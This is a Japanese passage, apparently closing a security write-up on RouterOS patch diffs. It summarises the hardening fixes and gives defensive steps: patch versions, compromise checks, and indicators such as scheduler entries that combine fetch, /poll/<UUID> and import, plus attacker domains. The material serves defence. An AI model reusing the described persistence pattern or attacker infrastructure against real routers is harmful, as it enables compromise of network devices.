  • wwwはsuspicious skin pathを追加し、/../とHTTP 403で/rw/diskユーザーファイルルートからエスケープするパスを拒否します:パス・トラバーサル強化。
  • SSH/SCPは、再帰的な宛先処理の周りにdestination is an invalid path!を追加します:認証済みファイルパス強化。
  • diskdは、ローカルRPCフレームの周りに明示的な切り詰められたリクエスト、切り詰められた読み取り、および大きすぎるレスポンスチェックを追加します。
  • DHCPは、小さな診断sprintf呼び出しを境界付きフォーマットに置き換え、割り当て/パケットサイズ障害パスを追加します。独立した認証されていないDHCP RCEの証拠ではなく、堅牢性と境界外読み取りの強化を見つけました。

実際に行うべきこと

  • 今すぐパッチ適用: 7.23.4長期サポート版、7.24.2安定版、6.49.21 v6、またはこれらの修正を含むそれ以降のリリース。
  • /system/device-mode/printがflagged: yesを表示する場合、ルーターは潜在的に侵害されていると見なしてください。ログ/サポート出力を保持し、すべての設定を検査し、自動クリーンアップのみに頼るのではなく、クリーンな再構築を強く検討してください。
  • 予期しないopsユーザーまたはフルポリシーアカウントを探してください。ssh:-2@を含むレコードを監査してください。スケジューラのエントリでfetch、/poll/<UUID>、およびimportを組み合わせたもの。ドメインmythtime.xyz、leappoach.info、およびeeongous.com。および予期しない/ip socksの有効化。
  • /user aaa、RADIUS、およびUser Managerの設定を確認してください。このリビジョンは、SSHが-2を受け入れた後に何が起こるかを証明します。外部AAAは、その無効なIDが存在する具体的な方法の一つです。
  • SSHを管理プレーンに制限し、疑わしい露出があった後は、管理者パスワード、RADIUSシークレット、および承認済みキーをローテーションしてください。
  • 導入されたSSH RSAキーを指数3で監査してください。レガシーな低指数キーをEd25519/ECDSAまたはRSA e=65537に置き換えてください。
  • 診断ツールを必要としないユーザーからtestを削除してください。RouterOSの組み込みreadグループは、メモリ安全でないヘルパーに到達できる場合、無害ではありません。
  • Telnetを無効にし、信頼されていないレイヤー2セグメント上のMAC-Telnetを制限または無効にしてください:/tool mac-server set allowed-interface-list=none。
  • 予期しないautosupout.rif、mtgetの再起動、および異常に長いTFTP URLを探してください。

いつものように、教訓は沈黙は秘密ではないということです。公開でパッチを適用する場合、アドバイザリを書くかどうかにかかわらず、公開で開示します。誰かが差分を読むでしょう。それはあなた自身が、あなたのギアでそれを行う方が良いでしょう、誰かがあなたのギアでそれを行う前に。

パッチを適用し続け、エッジボックスを確認してください。🐟